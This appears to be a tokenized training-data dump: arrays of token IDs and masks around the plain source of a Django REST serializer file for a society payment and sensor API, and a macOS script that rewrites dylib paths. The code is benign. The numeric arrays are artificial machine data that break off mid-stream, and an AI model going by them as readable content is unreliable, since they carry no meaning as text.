9, 199, 2246, 63, 521, 63, 26851, 63, 4173, 275, 378, 199, 2246, 63, 521, 63, 26851, 63, 4262, 63, 4173, 275, 378, 199, 199, 26207, 3726, 199, 749, 3, 4828, 568, 3611, 10896, 15, 3412, 21665, 11945, 199, 26207, 3726, 199, 199, 309, 20703, 4145, 446, 946, 2492, 2360, 22496, 2360, 436, 8791, 13729, 8112, 18216, 925, 4346, 315, 3423, 925, 199, 509, 284, 315, 1425, 8, 16, 12, 2304, 304, 199, 198, 2966, 612, 59, 73, 61, 275, 8586, 28918, 63, 1310, 459, 15732, 3488, 3097, 446, 413, 446, 284, 2733, 4478, 418, 327, 1459, 402, 741, 6403, 26783, 199, 198, 692, 612, 59, 73, 61, 508, 488, 26, 507, 198, 1361, 283, 89, 365, 7179, 315, 283, 435, 620, 8, 73, 9, 507, 198, 4785, 199, 198, 2966, 671, 59, 73, 61, 275, 8586, 28918, 63, 1310, 459, 15732, 3488, 3097, 446, 413, 446, 284, 2733, 1086, 418, 327, 1459, 402, 22496, 199, 198, 692, 671, 59, 73, 61, 508, 488, 26, 507, 198, 1361, 283, 88, 365, 7179, 315, 283, 435, 620, 8, 73, 9, 507, 198, 4785, 327, 13948, 9834, 340, 671, 503, 612, 1338, 787, 7179, 334, 2425, 1133, 506, 1202, 9, 199, 198, 692, 334, 73, 30, 16, 10883, 671, 59, 73, 13, 17, 61, 1111, 488, 10883, 612, 59, 73, 13, 17, 61, 1111, 488, 304, 507, 198, 2966, 1924, 63, 26851, 59, 73, 446, 413, 61, 275, 2069, 8, 1609, 1332, 89, 59, 73, 61, 446, 612, 59, 73, 13, 17, 2459, 1182, 2069, 1332, 88, 59, 73, 61, 446, 671, 59, 73, 13, 17, 11845, 327, 10885, 18883, 275, 8112, 402, 13729, 741, 6403, 26783, 199, 198, 1361, 671, 59, 73, 61, 199, 198, 1361, 612, 59, 73, 61, 199, 198, 1361, 1924, 63, 26851, 59, 73, 61, 199, 199, 309, 20703, 314, 1177, 4501, 2382, 465, 2497, 438, 11187, 436, 4328, 287, 438, 9174, 199, 305, 2497, 438, 22084, 3428, 275, 664, 63, 305, 2497, 438, 63, 1403, 8, 3596, 28918, 63, 1310, 9, 199, 3257, 287, 438, 14139, 3428, 275, 664, 63, 3257, 287, 438, 63, 1403, 8, 3596, 28918, 63, 1310, 9, 199, 199, 26207, 3726, 199, 749, 5680, 21498, 19560, 10371, 199, 26207, 3726, 199, 199, 309, 17471, 367, 465, 2497, 438, 436, 4328, 287, 438, 4501, 199, 199, 318, 664, 63, 305, 2497, 438, 63, 1403, 8, 3596, 28918, 63, 1310, 304, 199, 198, 5337, 63, 10125, 500, 275, 378, 327, 5337, 911, 1720, 2739, 19822, 314, 9546, 402, 289, 4040, 421, 198, 509, 284, 315, 1425, 8, 16, 12, 2304, 304, 507, 198, 692, 8, 10885, 63, 26851, 59, 73, 61, 665, 1616, 436, 1924, 63, 26851, 59, 73, 61, 690, 378, 304, 327, 3917, 399, 30, 709, 367, 1227, 11, 27028, 3398, 4501, 28266, 305, 2497, 438, 686, 198, 692, 8, 2246, 63, 521, 63, 9910, 2409, 63, 4173, 508, 378, 304, 1585, 198, 2246, 63, 521, 63, 9910, 2409, 63, 4173, 275, 413, 1585, 198, 13893, 63, 305, 2497, 296, 63, 1403, 275, 284, 686, 198, 5337, 63, 10125, 500, 275, 7055, 63, 10125, 500, 435, 413, 686, 198, 1361, 480, 5337, 63, 10125, 500, 275, 298, 2360, 7055, 63, 10125, 500, 9, 686, 198, 5337, 63, 18180, 275, 378, 507, 198, 2836, 26, 686, 198, 5337, 63, 10125, 500, 275, 378, 686, 198, 2246, 63, 521, 63, 9910, 2409, 63, 4173, 275, 378, 507, 198, 692, 8, 5337, 63, 10125, 500, 690, 378, 503, 1642, 63, 521, 63, 26851, 63, 4262, 63, 4173, 508, 413, 304, 686, 198, 2246, 63, 521, 63, 26851, 63, 4262, 63, 4173, 275, 413, 686, 198, 692, 8, 10885, 63, 26851, 59, 73, 61, 665, 959, 436, 1924, 63, 26851, 59, 73, 435, 413, 61, 665, 959, 436, 1924, 63, 26851, 59, 73, 435, 499, 61, 665, 959, 304, 1585, 198, 1361, 1689, 10002, 63, 10125, 500, 531, 2742, 198, 692, 8, 5337, 63, 10125, 500, 2356, 4114, 304, 327, 9924, 465, 2497, 438, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
KSG-IT/ksg-nett
api/serializers.py
1
4959
from django.conf import settings from rest_framework import serializers from rest_framework_simplejwt.serializers import TokenObtainSlidingSerializer from api.exceptions import InsufficientFundsException, NoSociSessionError from economy.models import SociProduct, ProductOrder, SociSession, SociBankAccount class CustomTokenObtainSlidingSerializer(TokenObtainSlidingSerializer): """ Overridden so we can obtain a token for a user based only on the card uuid. """ username_field = "card_uuid" def __init__(self, *args, **kwargs): """ Overridden from `TokenObtainSerializer` since this adds a required field `password` to the serializer that we don't need. """ super().__init__(*args, **kwargs) del self.fields['password'] def validate(self, attrs): """ Overridden from `TokenObtainSlidingSerializer` since this expects a username and password to be supplied. """ data = {} token = self.get_token(self.context['request'].user) data['token'] = str(token) return data # =============================== # ECONOMY # =============================== from sensors.consts import MEASUREMENT_TYPE_CHOICES from sensors.models import SensorMeasurement class SociProductSerializer(serializers.Serializer): sku_number = serializers.CharField(read_only=True, label="Product SKU number") name = serializers.CharField(read_only=True, label="Product name") price = serializers.IntegerField(read_only=True, label="Product price in NOK") description = serializers.CharField(read_only=True, allow_blank=True, allow_null=True, label="Product description", help_text="Returns `null` if no description exists") icon = serializers.CharField(read_only=True, label="Product icon descriptor") class CheckBalanceSerializer(serializers.Serializer): id = serializers.IntegerField(read_only=True, label="This soci bank account ID") user = serializers.CharField(source='user.get_full_name', read_only=True, label="User´s full name") balance = serializers.IntegerField(read_only=True, label="Balance in NOK", help_text="Should not be displayed publicly") class ChargeSociBankAccountDeserializer(serializers.Serializer): sku = serializers.CharField(label="Product SKU number to charge for") order_size = serializers.IntegerField(default=1, required=False, label="Order size for this product", help_text="Defaults to 1 if not supplied") @staticmethod def validate_sku(value): if not SociProduct.objects.filter(sku_number=value).exists(): raise serializers.ValidationError('SKU number is invalid.') return value @staticmethod def validate_order_size(value): if value <= 0: raise serializers.ValidationError('Order size must be positive.') return value def validate(self, attrs): if attrs['sku'] != settings.DIRECT_CHARGE_SKU: attrs['amount'] = SociProduct.objects.get(sku_number=attrs['sku']).price else: attrs['amount'] = 1 self.context['total'] += attrs['amount'] * attrs['order_size'] if self.context['total'] > self.context['soci_bank_account'].balance: raise InsufficientFundsException() if SociSession.get_active_session() is None: raise NoSociSessionError() return attrs def create(self, validated_data): product_order = ProductOrder.objects.create( product=SociProduct.objects.get(sku_number=validated_data.pop('sku')), **validated_data ) return product_order class PurchaseSerializer(serializers.Serializer): amount_charged = serializers.IntegerField(read_only=True, source='total_amount', label="Amount that was charged from user´s Soci account") amount_remaining = serializers.IntegerField(read_only=True, source='source.balance', label="Remaining balance in user´s Soci account", help_text="Should not be displayed publicly") products_purchased = serializers.ListField(read_only=True, child=serializers.CharField(), help_text="The products that were purchased") class SensorMeasurementSerializer(serializers.Serializer): type = serializers.ChoiceField( choices=MEASUREMENT_TYPE_CHOICES, label="The type of measurement.", ) value = serializers.FloatField( label="The value of the measurement", ) created_at = serializers.DateTimeField( label="The time of the measurement", ) def create(self, validated_data): return SensorMeasurement.objects.create(**validated_data)
gpl-3.0
[ 504, 1639, 14, 2190, 492, 2202, 199, 504, 4618, 63, 4857, 492, 12506, 199, 504, 4618, 63, 4857, 63, 4129, 30033, 14, 12844, 492, 8767, 11394, 877, 51, 317, 1098, 7299, 199, 199, 504, 2986, 14, 3924, 492, 12062, 12983, 32197, 83, 1726, 12, 3091, 51, 3095, 4434, 547, 199, 504, 325, 25129, 89, 14, 992, 492, 2002, 559, 5884, 12, 12705, 4738, 12, 2002, 559, 4434, 12, 2002, 559, 14814, 6009, 421, 199, 533, 8388, 3264, 11394, 877, 51, 317, 1098, 7299, 8, 3264, 11394, 877, 51, 317, 1098, 7299, 304, 272, 408, 272, 7259, 8639, 880, 781, 883, 3332, 282, 1526, 367, 282, 922, 4079, 1454, 641, 314, 12564, 5377, 14, 272, 408, 272, 3434, 63, 698, 275, 298, 5841, 63, 2580, 2, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 408, 267, 7259, 8639, 687, 658, 3264, 11394, 877, 7299, 64, 3967, 642, 9584, 282, 1415, 267, 901, 658, 2060, 64, 370, 314, 9146, 626, 781, 2793, 1133, 1929, 14, 267, 408, 267, 1613, 11027, 826, 9308, 589, 12, 1011, 958, 9, 267, 2150, 291, 14, 955, 459, 2060, 418, 339, 347, 4107, 8, 277, 12, 3290, 304, 267, 408, 267, 7259, 8639, 687, 658, 3264, 11394, 877, 51, 317, 1098, 7299, 64, 3967, 267, 642, 14292, 282, 3434, 436, 2505, 370, 506, 6841, 14, 267, 408, 267, 666, 275, 1052, 398, 1526, 275, 291, 14, 362, 63, 1418, 8, 277, 14, 1100, 459, 1069, 2278, 751, 9, 398, 666, 459, 1418, 418, 275, 620, 8, 1418, 9, 398, 372, 666, 421, 199, 3, 16248, 17224, 199, 3, 662, 1864, 7474, 57, 199, 3, 16248, 17224, 199, 504, 19678, 14, 20473, 492, 603, 37, 1179, 3942, 4479, 63, 2711, 63, 16236, 199, 504, 19678, 14, 992, 492, 18474, 18611, 434, 421, 199, 533, 2002, 559, 5884, 7299, 8, 12844, 14, 7299, 304, 272, 2386, 85, 63, 1955, 275, 12506, 14, 2183, 8, 739, 63, 2118, 29, 549, 12, 1768, 628, 5884, 20062, 53, 1329, 531, 339, 536, 275, 12506, 14, 2183, 8, 739, 63, 2118, 29, 549, 12, 1768, 628, 5884, 536, 531, 339, 8033, 275, 12506, 14, 3901, 8, 739, 63, 2118, 29, 549, 12, 1768, 628, 5884, 8033, 315, 653, 3593, 531, 339, 1369, 275, 12506, 14, 2183, 8, 739, 63, 2118, 29, 549, 12, 2040, 63, 2500, 29, 549, 12, 2040, 63, 2307, 29, 549, 12, 1768, 628, 5884, 1369, 401, 3147, 1720, 63, 505, 628, 3407, 658, 2307, 64, 340, 949, 1369, 3495, 531, 339, 7016, 275, 12506, 14, 2183, 8, 739, 63, 2118, 29, 549, 12, 1768, 628, 5884, 7016, 5872, 531, 421, 199, 533, 2670, 27106, 7299, 8, 12844, 14, 7299, 304, 272, 1305, 275, 12506, 14, 3901, 8, 739, 63, 2118, 29, 549, 12, 1768, 628, 2765, 880, 559, 16297, 2933, 2870, 531, 339, 922, 275, 12506, 14, 2183, 8, 1365, 534, 751, 14, 362, 63, 2861, 63, 354, 297, 1586, 63, 2118, 29, 549, 12, 1768, 628, 1899, 127, 113, 83, 2615, 536, 531, 339, 14094, 275, 12506, 14, 3901, 8, 739, 63, 2118, 29, 549, 12, 1768, 628, 27106, 315, 653, 3593, 401, 4318, 1720, 63, 505, 628, 11408, 440, 506, 9080, 7974, 317, 429, 89, 531, 421, 199, 533, 2799, 4430, 51, 3095, 14814, 6009, 872, 8349, 8, 12844, 14, 7299, 304, 272, 2386, 85, 275, 12506, 14, 2183, 8, 1302, 628, 5884, 20062, 53, 1329, 370, 11204, 367, 531, 339, 1865, 63, 890, 275, 12506, 14, 3901, 8, 885, 29, 17, 12, 1415, 29, 797, 12, 1768, 628, 4738, 1568, 367, 642, 3336, 401, 5101, 1720, 63, 505, 628, 16986, 370, 413, 340, 440, 6841, 531, 339, 768, 4639, 272, 347, 4107, 63, 27772, 8, 585, 304, 267, 340, 440, 2002, 559, 5884, 14, 1462, 14, 1541, 8, 27772, 63, 1955, 29, 585, 680, 2444, 837, 288, 746, 12506, 14, 8172, 360, 8656, 53, 1329, 365, 3866, 2659, 267, 372, 574, 339, 768, 4639, 272, 347, 4107, 63, 1648, 63, 890, 8, 585, 304, 267, 340, 574, 2695, 378, 26, 288, 746, 12506, 14, 8172, 360, 4738, 1568, 1471, 506, 7317, 2659, 267, 372, 574, 339, 347, 4107, 8, 277, 12, 3290, 304, 267, 340, 3290, 459, 27772, 418, 1137, 2202, 14, 6098, 63, 5901, 4962, 63, 8656, 53, 26, 288, 3290, 459, 4606, 418, 275, 2002, 559, 5884, 14, 1462, 14, 362, 8, 27772, 63, 1955, 29, 3288, 459, 27772, 13227, 4777, 267, 587, 26, 288, 3290, 459, 4606, 418, 275, 413, 398, 291, 14, 1100, 459, 2923, 418, 847, 3290, 459, 4606, 418, 627, 3290, 459, 1648, 63, 890, 418, 267, 340, 291, 14, 1100, 459, 2923, 418, 690, 291, 14, 1100, 459, 1152, 559, 63, 9860, 63, 2048, 2278, 7358, 26, 288, 746, 12062, 12983, 32197, 83, 1726, 342, 398, 340, 2002, 559, 4434, 14, 362, 63, 2682, 63, 1730, 342, 365, 488, 26, 288, 746, 3091, 51, 3095, 4434, 547, 342, 398, 372, 3290, 339, 347, 1218, 8, 277, 12, 16468, 63, 576, 304, 267, 3336, 63, 1648, 275, 12705, 4738, 14, 1462, 14, 981, 8, 288, 3336, 29, 51, 3095, 5884, 14, 1462, 14, 362, 8, 27772, 63, 1955, 29, 24372, 63, 576, 14, 1935, 360, 27772, 3855, 1011, 24372, 63, 576, 267, 776, 398, 372, 3336, 63, 1648, 421, 199, 533, 23177, 6703, 7299, 8, 12844, 14, 7299, 304, 272, 5982, 63, 1560, 3046, 275, 12506, 14, 3901, 8, 739, 63, 2118, 29, 549, 12, 1350, 534, 2923, 63, 4606, 297, 6343, 1768, 628, 18785, 626, 1990, 1495, 3046, 687, 922, 127, 113, 83, 2002, 559, 2933, 531, 339, 5982, 63, 11266, 275, 12506, 14, 3901, 8, 739, 63, 2118, 29, 549, 12, 1350, 534, 1365, 14, 7358, 297, 6059, 1768, 628, 31109, 14094, 315, 922, 127, 113, 83, 2002, 559, 2933, 401, 6059, 1720, 63, 505, 628, 11408, 440, 506, 9080, 7974, 317, 429, 89, 531, 339, 7585, 63, 9533, 68, 275, 12506, 14, 1296, 792, 8, 739, 63, 2118, 29, 549, 12, 1982, 29, 12844, 14, 2183, 1062, 6901, 1720, 63, 505, 628, 1918, 7585, 626, 4898, 15932, 68, 531, 421, 199, 533, 18474, 18611, 434, 7299, 8, 12844, 14, 7299, 304, 272, 730, 275, 12506 ]
[ 1639, 14, 2190, 492, 2202, 199, 504, 4618, 63, 4857, 492, 12506, 199, 504, 4618, 63, 4857, 63, 4129, 30033, 14, 12844, 492, 8767, 11394, 877, 51, 317, 1098, 7299, 199, 199, 504, 2986, 14, 3924, 492, 12062, 12983, 32197, 83, 1726, 12, 3091, 51, 3095, 4434, 547, 199, 504, 325, 25129, 89, 14, 992, 492, 2002, 559, 5884, 12, 12705, 4738, 12, 2002, 559, 4434, 12, 2002, 559, 14814, 6009, 421, 199, 533, 8388, 3264, 11394, 877, 51, 317, 1098, 7299, 8, 3264, 11394, 877, 51, 317, 1098, 7299, 304, 272, 408, 272, 7259, 8639, 880, 781, 883, 3332, 282, 1526, 367, 282, 922, 4079, 1454, 641, 314, 12564, 5377, 14, 272, 408, 272, 3434, 63, 698, 275, 298, 5841, 63, 2580, 2, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 408, 267, 7259, 8639, 687, 658, 3264, 11394, 877, 7299, 64, 3967, 642, 9584, 282, 1415, 267, 901, 658, 2060, 64, 370, 314, 9146, 626, 781, 2793, 1133, 1929, 14, 267, 408, 267, 1613, 11027, 826, 9308, 589, 12, 1011, 958, 9, 267, 2150, 291, 14, 955, 459, 2060, 418, 339, 347, 4107, 8, 277, 12, 3290, 304, 267, 408, 267, 7259, 8639, 687, 658, 3264, 11394, 877, 51, 317, 1098, 7299, 64, 3967, 267, 642, 14292, 282, 3434, 436, 2505, 370, 506, 6841, 14, 267, 408, 267, 666, 275, 1052, 398, 1526, 275, 291, 14, 362, 63, 1418, 8, 277, 14, 1100, 459, 1069, 2278, 751, 9, 398, 666, 459, 1418, 418, 275, 620, 8, 1418, 9, 398, 372, 666, 421, 199, 3, 16248, 17224, 199, 3, 662, 1864, 7474, 57, 199, 3, 16248, 17224, 199, 504, 19678, 14, 20473, 492, 603, 37, 1179, 3942, 4479, 63, 2711, 63, 16236, 199, 504, 19678, 14, 992, 492, 18474, 18611, 434, 421, 199, 533, 2002, 559, 5884, 7299, 8, 12844, 14, 7299, 304, 272, 2386, 85, 63, 1955, 275, 12506, 14, 2183, 8, 739, 63, 2118, 29, 549, 12, 1768, 628, 5884, 20062, 53, 1329, 531, 339, 536, 275, 12506, 14, 2183, 8, 739, 63, 2118, 29, 549, 12, 1768, 628, 5884, 536, 531, 339, 8033, 275, 12506, 14, 3901, 8, 739, 63, 2118, 29, 549, 12, 1768, 628, 5884, 8033, 315, 653, 3593, 531, 339, 1369, 275, 12506, 14, 2183, 8, 739, 63, 2118, 29, 549, 12, 2040, 63, 2500, 29, 549, 12, 2040, 63, 2307, 29, 549, 12, 1768, 628, 5884, 1369, 401, 3147, 1720, 63, 505, 628, 3407, 658, 2307, 64, 340, 949, 1369, 3495, 531, 339, 7016, 275, 12506, 14, 2183, 8, 739, 63, 2118, 29, 549, 12, 1768, 628, 5884, 7016, 5872, 531, 421, 199, 533, 2670, 27106, 7299, 8, 12844, 14, 7299, 304, 272, 1305, 275, 12506, 14, 3901, 8, 739, 63, 2118, 29, 549, 12, 1768, 628, 2765, 880, 559, 16297, 2933, 2870, 531, 339, 922, 275, 12506, 14, 2183, 8, 1365, 534, 751, 14, 362, 63, 2861, 63, 354, 297, 1586, 63, 2118, 29, 549, 12, 1768, 628, 1899, 127, 113, 83, 2615, 536, 531, 339, 14094, 275, 12506, 14, 3901, 8, 739, 63, 2118, 29, 549, 12, 1768, 628, 27106, 315, 653, 3593, 401, 4318, 1720, 63, 505, 628, 11408, 440, 506, 9080, 7974, 317, 429, 89, 531, 421, 199, 533, 2799, 4430, 51, 3095, 14814, 6009, 872, 8349, 8, 12844, 14, 7299, 304, 272, 2386, 85, 275, 12506, 14, 2183, 8, 1302, 628, 5884, 20062, 53, 1329, 370, 11204, 367, 531, 339, 1865, 63, 890, 275, 12506, 14, 3901, 8, 885, 29, 17, 12, 1415, 29, 797, 12, 1768, 628, 4738, 1568, 367, 642, 3336, 401, 5101, 1720, 63, 505, 628, 16986, 370, 413, 340, 440, 6841, 531, 339, 768, 4639, 272, 347, 4107, 63, 27772, 8, 585, 304, 267, 340, 440, 2002, 559, 5884, 14, 1462, 14, 1541, 8, 27772, 63, 1955, 29, 585, 680, 2444, 837, 288, 746, 12506, 14, 8172, 360, 8656, 53, 1329, 365, 3866, 2659, 267, 372, 574, 339, 768, 4639, 272, 347, 4107, 63, 1648, 63, 890, 8, 585, 304, 267, 340, 574, 2695, 378, 26, 288, 746, 12506, 14, 8172, 360, 4738, 1568, 1471, 506, 7317, 2659, 267, 372, 574, 339, 347, 4107, 8, 277, 12, 3290, 304, 267, 340, 3290, 459, 27772, 418, 1137, 2202, 14, 6098, 63, 5901, 4962, 63, 8656, 53, 26, 288, 3290, 459, 4606, 418, 275, 2002, 559, 5884, 14, 1462, 14, 362, 8, 27772, 63, 1955, 29, 3288, 459, 27772, 13227, 4777, 267, 587, 26, 288, 3290, 459, 4606, 418, 275, 413, 398, 291, 14, 1100, 459, 2923, 418, 847, 3290, 459, 4606, 418, 627, 3290, 459, 1648, 63, 890, 418, 267, 340, 291, 14, 1100, 459, 2923, 418, 690, 291, 14, 1100, 459, 1152, 559, 63, 9860, 63, 2048, 2278, 7358, 26, 288, 746, 12062, 12983, 32197, 83, 1726, 342, 398, 340, 2002, 559, 4434, 14, 362, 63, 2682, 63, 1730, 342, 365, 488, 26, 288, 746, 3091, 51, 3095, 4434, 547, 342, 398, 372, 3290, 339, 347, 1218, 8, 277, 12, 16468, 63, 576, 304, 267, 3336, 63, 1648, 275, 12705, 4738, 14, 1462, 14, 981, 8, 288, 3336, 29, 51, 3095, 5884, 14, 1462, 14, 362, 8, 27772, 63, 1955, 29, 24372, 63, 576, 14, 1935, 360, 27772, 3855, 1011, 24372, 63, 576, 267, 776, 398, 372, 3336, 63, 1648, 421, 199, 533, 23177, 6703, 7299, 8, 12844, 14, 7299, 304, 272, 5982, 63, 1560, 3046, 275, 12506, 14, 3901, 8, 739, 63, 2118, 29, 549, 12, 1350, 534, 2923, 63, 4606, 297, 6343, 1768, 628, 18785, 626, 1990, 1495, 3046, 687, 922, 127, 113, 83, 2002, 559, 2933, 531, 339, 5982, 63, 11266, 275, 12506, 14, 3901, 8, 739, 63, 2118, 29, 549, 12, 1350, 534, 1365, 14, 7358, 297, 6059, 1768, 628, 31109, 14094, 315, 922, 127, 113, 83, 2002, 559, 2933, 401, 6059, 1720, 63, 505, 628, 11408, 440, 506, 9080, 7974, 317, 429, 89, 531, 339, 7585, 63, 9533, 68, 275, 12506, 14, 1296, 792, 8, 739, 63, 2118, 29, 549, 12, 1982, 29, 12844, 14, 2183, 1062, 6901, 1720, 63, 505, 628, 1918, 7585, 626, 4898, 15932, 68, 531, 421, 199, 533, 18474, 18611, 434, 7299, 8, 12844, 14, 7299, 304, 272, 730, 275, 12506, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
fordcars/SDL3D
tools/Frameworkify/frameworkify.py
1
3860
#!/usr/bin/env python -S # -*- coding: utf-8 -*- r""" frameworkify ~~~~~~~~~~~~ A small command line tool that can rewrite the paths to dynamic loaded libraries in .dylib files so that they reference other paths. By default it will rewrite the path so that it points to the bundle's Frameworks folder. This can be paired with a CMake post build action to make proper bundles without having to recompile a bunch of dylibs to reference the framework. Usage:: $ frameworkify.py MyApplication.app/Contents/MacOS/MyApplication \ > /path/to/mylib.dylib :copyright: (c) 2011 by Armin Ronacher. :license: BSD, see LICENSE for more details. """ import os import sys from optparse import OptionParser def find_bundle(executable): executable = os.path.abspath(executable) if not os.path.isfile(executable): raise RuntimeError('Executable does not exist') folder, exe_name = os.path.split(executable) content_path, folder = os.path.split(folder) if folder != 'MacOS': raise RuntimeError('Executable not located inside a bundle') return content_path def find_baked_dylibs(executable): from subprocess import Popen, PIPE c = Popen(['otool', '-L', executable], stdout=PIPE) lines = c.communicate()[0].splitlines() return [x.strip().split(' (')[0] for x in lines[1:]] def find_matching_dylib(dylibs, basename): lbasename = basename.lower() for dylib in dylibs: if os.path.basename(dylib).lower() == lbasename: return dylib def rewrite_path(executable, old, new): from subprocess import Popen Popen(['install_name_tool', '-change', old, new, executable]).wait() def copy_to_framework(bundle_path, filename, target_name): from shutil import copy2 framework_path = os.path.join(bundle_path, 'Frameworks') if not os.path.isdir(framework_path): os.mkdir(framework_path) copy2(filename, os.path.join(framework_path, target_name)) def perform_rewrite_operation(rewrites, executable, bundle_path, copy=True): for old_path, new_path, dylib_path in rewrites: rewrite_path(executable, old_path, new_path) if copy: copy_to_framework(bundle_path, dylib_path, os.path.basename(new_path)) def frameworkify(executable, dylibs, nocopy, path): bundle = find_bundle(executable) baked_dylibs = find_baked_dylibs(executable) def _make_new_path(dylib_name): if path: return os.path.join(path, dylib_name) return '@executable_path/../Frameworks/' + dylib_name rewrites = [] for dylib in dylibs: dylib_name = os.path.basename(dylib) dylib_path_match = find_matching_dylib(baked_dylibs, dylib_name) if dylib_path_match is None: raise Exception('dylib "%s" is not referenced by "%s"' % ( dylib_name, executable )) rewrites.append((dylib_path_match, _make_new_path(dylib_name), dylib)) perform_rewrite_operation(rewrites, executable, bundle, not nocopy) def main(): parser = OptionParser() parser.add_option('-p', '--path', dest='path', metavar='PATH', help='alternative path to dylib') parser.add_option('-C', '--nocopy', dest='nocopy', action='store_true', help='don\'t copy dylib to framework folder') opts, args = parser.parse_args() if len(args) < 2: parser.error('Not enough arguments: executable and a list of dylibs') if opts.path and not opts.nocopy: parser.error('Path combined with copy operation is not supported') try: frameworkify(args[0], args[1:], opts.nocopy, opts.path) except Exception, e: parser.error(str(e)) sys.exit(1) if __name__ == '__main__': main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1813, 2366, 446, 51, 199, 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 82, 624, 272, 10059, 2021, 272, 32202, 339, 437, 7425, 1414, 1004, 4744, 626, 883, 19913, 314, 3792, 370, 8336, 272, 6511, 8363, 315, 1275, 22305, 1584, 880, 626, 2985, 3659, 1163, 272, 3792, 14, 221, 4885, 849, 652, 911, 19913, 314, 931, 880, 626, 652, 4501, 370, 272, 314, 8844, 1159, 11726, 12243, 4922, 14, 221, 961, 883, 506, 30177, 543, 282, 21355, 272, 2963, 1900, 1595, 370, 1852, 5576, 27206, 1928, 9445, 370, 272, 295, 2014, 282, 22219, 402, 13119, 8450, 370, 3659, 314, 10059, 14, 339, 11028, 447, 398, 2672, 10059, 2021, 14, 647, 4932, 5039, 14, 571, 15, 11383, 15, 3399, 3100, 15, 5713, 5039, 971, 267, 690, 1182, 515, 15, 475, 15, 1662, 773, 14, 22305, 339, 520, 7307, 26, 334, 67, 9, 7760, 701, 1952, 827, 32472, 19728, 14, 272, 520, 1682, 26, 6289, 12, 1937, 5113, 367, 1655, 2436, 14, 199, 624, 199, 646, 747, 199, 646, 984, 199, 504, 8691, 492, 13491, 421, 199, 318, 2342, 63, 6469, 8, 5904, 304, 272, 7286, 275, 747, 14, 515, 14, 4832, 8, 5904, 9, 272, 340, 440, 747, 14, 515, 14, 6292, 8, 5904, 304, 267, 746, 6064, 360, 18039, 1630, 440, 2187, 358, 272, 4922, 12, 14778, 63, 354, 275, 747, 14, 515, 14, 1294, 8, 5904, 9, 272, 1564, 63, 515, 12, 4922, 275, 747, 14, 515, 14, 1294, 8, 3741, 9, 272, 340, 4922, 1137, 283, 3399, 3100, 356, 267, 746, 6064, 360, 18039, 440, 16180, 6272, 